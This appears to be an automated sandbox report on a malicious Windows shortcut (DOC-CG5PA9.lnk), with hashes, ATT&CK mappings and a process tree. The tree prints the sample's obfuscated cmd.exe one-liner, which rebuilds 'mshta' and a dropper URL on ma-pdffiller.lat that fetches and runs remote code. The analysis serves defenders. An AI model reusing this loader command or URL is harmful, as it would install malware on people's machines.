5171c6a0cf97374ffa4e7df32de009718b015e81ad1bc6c373d91844c5c1c559

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:32

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General

Target
DOC-CG5PA9.lnk
Size 2KB
Sample260804-kfr3dsvhnb
SHA256 5171c6a0cf97374ffa4e7df32de009718b015e81ad1bc6c373d91844c5c1c559
MD5 3d840b5ecf6dbdf977baeb7ae585076b
SHA1 bbccf0e12bdb4ab3904f6d8886a027af94d10a81
SHA512 41b28d94167c9c9398299278cd2074609f05c9cb96120bf53480f684de1bb285a961c51addcc24954f6c2a3a7c31aa4dc7aec3514c5b53df85f48d43c37680d0
TLSH
T1F84126842AEE41D8F3BA8E72EDBE67604DBBB9515D24C58D0840820E5422F01D937B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4128	cmd.exe
5452	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4128 wrote to memory of 5452	4128	cmd.exe	90
PID 5452 wrote to memory of 680	5452	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-CG5PA9.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4128
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set wB=sysvobgjbazyyhtbsys&set KuqT=winbpdnssvpogmowin&set MvY=infapnehmhqinf&set Hzk=cachewgdmrocydnjptabfpcttxcache&set XW=cfgetlrycmsmcfg&set Hx=oldkgjbivbdjdghlehrtold&set ajEQ=lwmec&&set uNTQ=h4rs6ps&&set RJS=phtai8&set Gyca=loguonqirsyghlog&set XyDoA=cachejxpkmbibwfnjcchmmmxhcache&set xJKt=8ostw&&set VO=hsar2ro&&set hXeyJ=ity&&set QPD=https:@/@/@ma-@[email protected]@/h@/est@agio1.@php@?@r@=@3@91@4@69F@B5D82DB&&start /b !ajEQ:~2,1!!uNTQ:~3,1!!RJS:~1,3! !QPD:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5452
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:680

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads